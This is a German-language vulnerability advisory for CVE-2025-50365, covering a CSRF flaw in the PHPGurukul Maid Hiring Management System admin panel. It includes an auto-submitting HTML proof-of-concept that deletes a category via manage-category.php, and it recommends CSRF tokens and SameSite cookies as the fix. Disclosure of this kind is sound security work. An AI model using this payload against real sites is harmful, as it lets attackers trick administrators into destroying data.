Projektname & Repo-URL: Maid Hiring Management System mit PHP und MySQL

Schwachstellentyp: Clientseitige Request-Fälschung

Betroffene Version(en): v1.0

💣Schwachstellenbeschreibung: Eine Cross-Site-Request-Forgery (CSRF)-Schwachstelle existiert im Admin-Panel des PHPGurukul Hiring Management Systems, die es einem Angreifer ermöglicht, beliebige Einstellungskategorien zu löschen, indem er einen authentifizierten Administrator dazu bringt, eine bösartige Seite zu besuchen. Dies kann zu Datenlöschung und unbefugten Änderungen auf Admin-Ebene führen.

👩‍💻Auswirkungen: Unberechtigte Löschung von Kategorien.

🛜Proof-of-Concept (PoC):

Es gab eine Funktion zum Löschen von Kategorien, bei der nur authentifizierte Administratoren Kategorien löschen konnten.
HTML-Code, um eine GET-Anfrage an den Endpunkt /admin/manage-category.php zu senden CSRF-POC

<html>
  <body>
    <form action="http://127.0.0.1/mhms/admin/manage-category.php">
      <input type="hidden" name="delid" value="13" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Verwenden Sie den HTML-Code und erstellen Sie eine bösartige URL.
Nachdem der Administrator auf den Link klickt, wird die Kategorie gelöscht.

Empfehlung: Implementierung von CSRF-Tokens in Admin-Formularen, Durchsetzung von SameSite-Cookies und Validierung des Anfragenursprungs, um unbefugte Aktionen zu verhindern.

CVE-2025-50365_CSRF_DELETE_CATEGORY-phpgurukul-CVE

Beliebteste